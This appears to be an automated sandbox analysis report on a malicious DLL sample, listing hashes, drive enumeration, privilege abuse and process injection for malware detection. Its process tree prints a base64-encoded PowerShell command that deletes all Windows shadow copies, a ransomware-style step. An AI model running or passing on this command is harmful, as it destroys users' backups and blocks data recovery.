Analysis
-
max time kernel
121s -
max time network
121s -
platform
windows7_x64 -
resource
win7-en-20211208 -
submitted
24-01-2022 00:46
Static task
static1
Behavioral task
behavioral1
Sample
e9bb65f71c76b7c5396553325cbaf0a67e9e29f8960972eb58dccde86c35529f.dll
Resource
win7-en-20211208
Behavioral task
behavioral2
Sample
e9bb65f71c76b7c5396553325cbaf0a67e9e29f8960972eb58dccde86c35529f.dll
Resource
win10-en-20211208
General
-
Target
e9bb65f71c76b7c5396553325cbaf0a67e9e29f8960972eb58dccde86c35529f.dll
-
Size
164KB
-
MD5
7c26893705115743894c85205606ca7e
-
SHA1
513c9a3c6c796e1b0d8b6165f872540e9c8d43ec
-
SHA256
e9bb65f71c76b7c5396553325cbaf0a67e9e29f8960972eb58dccde86c35529f
-
SHA512
a53cd134ac431a4b262a807b87fb9378c8ab4b86363eeaec17e14e0481be8a89c19b3fbe1aecc77ae49e127c85116fb893f9336658919f9eef7036c929ab3c0e
Malware Config
Signatures
-
Enumerates connected drives 3 TTPs 24 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
Processes:
rundll32.exedescription ioc process File opened (read-only) \??\I: rundll32.exe File opened (read-only) \??\M: rundll32.exe File opened (read-only) \??\U: rundll32.exe File opened (read-only) \??\V: rundll32.exe File opened (read-only) \??\Q: rundll32.exe File opened (read-only) \??\T: rundll32.exe File opened (read-only) \??\Z: rundll32.exe File opened (read-only) \??\E: rundll32.exe File opened (read-only) \??\K: rundll32.exe File opened (read-only) \??\N: rundll32.exe File opened (read-only) \??\P: rundll32.exe File opened (read-only) \??\Y: rundll32.exe File opened (read-only) \??\A: rundll32.exe File opened (read-only) \??\F: rundll32.exe File opened (read-only) \??\G: rundll32.exe File opened (read-only) \??\R: rundll32.exe File opened (read-only) \??\O: rundll32.exe File opened (read-only) \??\S: rundll32.exe File opened (read-only) \??\W: rundll32.exe File opened (read-only) \??\X: rundll32.exe File opened (read-only) \??\B: rundll32.exe File opened (read-only) \??\H: rundll32.exe File opened (read-only) \??\J: rundll32.exe File opened (read-only) \??\L: rundll32.exe -
Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
rundll32.exepowershell.exepid process 1252 rundll32.exe 1660 powershell.exe -
Suspicious use of AdjustPrivilegeToken 5 IoCs
Processes:
rundll32.exepowershell.exevssvc.exedescription pid process Token: SeDebugPrivilege 1252 rundll32.exe Token: SeDebugPrivilege 1660 powershell.exe Token: SeBackupPrivilege 316 vssvc.exe Token: SeRestorePrivilege 316 vssvc.exe Token: SeAuditPrivilege 316 vssvc.exe -
Suspicious use of WriteProcessMemory 11 IoCs
Processes:
rundll32.exerundll32.exedescription pid process target process PID 1304 wrote to memory of 1252 1304 rundll32.exe rundll32.exe PID 1304 wrote to memory of 1252 1304 rundll32.exe rundll32.exe PID 1304 wrote to memory of 1252 1304 rundll32.exe rundll32.exe PID 1304 wrote to memory of 1252 1304 rundll32.exe rundll32.exe PID 1304 wrote to memory of 1252 1304 rundll32.exe rundll32.exe PID 1304 wrote to memory of 1252 1304 rundll32.exe rundll32.exe PID 1304 wrote to memory of 1252 1304 rundll32.exe rundll32.exe PID 1252 wrote to memory of 1660 1252 rundll32.exe powershell.exe PID 1252 wrote to memory of 1660 1252 rundll32.exe powershell.exe PID 1252 wrote to memory of 1660 1252 rundll32.exe powershell.exe PID 1252 wrote to memory of 1660 1252 rundll32.exe powershell.exe
Processes
-
C:\Windows\system32\rundll32.exerundll32.exe C:\Users\Admin\AppData\Local\Temp\e9bb65f71c76b7c5396553325cbaf0a67e9e29f8960972eb58dccde86c35529f.dll,#11⤵
- Suspicious use of WriteProcessMemory
PID:1304 -
C:\Windows\SysWOW64\rundll32.exerundll32.exe C:\Users\Admin\AppData\Local\Temp\e9bb65f71c76b7c5396553325cbaf0a67e9e29f8960972eb58dccde86c35529f.dll,#12⤵
- Enumerates connected drives
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1252 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1660
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
PID:316
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
memory/1252-55-0x0000000075F91000-0x0000000075F93000-memory.dmpFilesize
8KB
-
memory/1660-56-0x000007FEFBD21000-0x000007FEFBD23000-memory.dmpFilesize
8KB
-
memory/1660-57-0x00000000023A0000-0x00000000023A2000-memory.dmpFilesize
8KB
-
memory/1660-60-0x00000000023A4000-0x00000000023A7000-memory.dmpFilesize
12KB
-
memory/1660-59-0x00000000023A2000-0x00000000023A4000-memory.dmpFilesize
8KB
-
memory/1660-58-0x000007FEF2FC0000-0x000007FEF3B1D000-memory.dmpFilesize
11.4MB
-
memory/1660-61-0x00000000023AB000-0x00000000023CA000-memory.dmpFilesize
124KB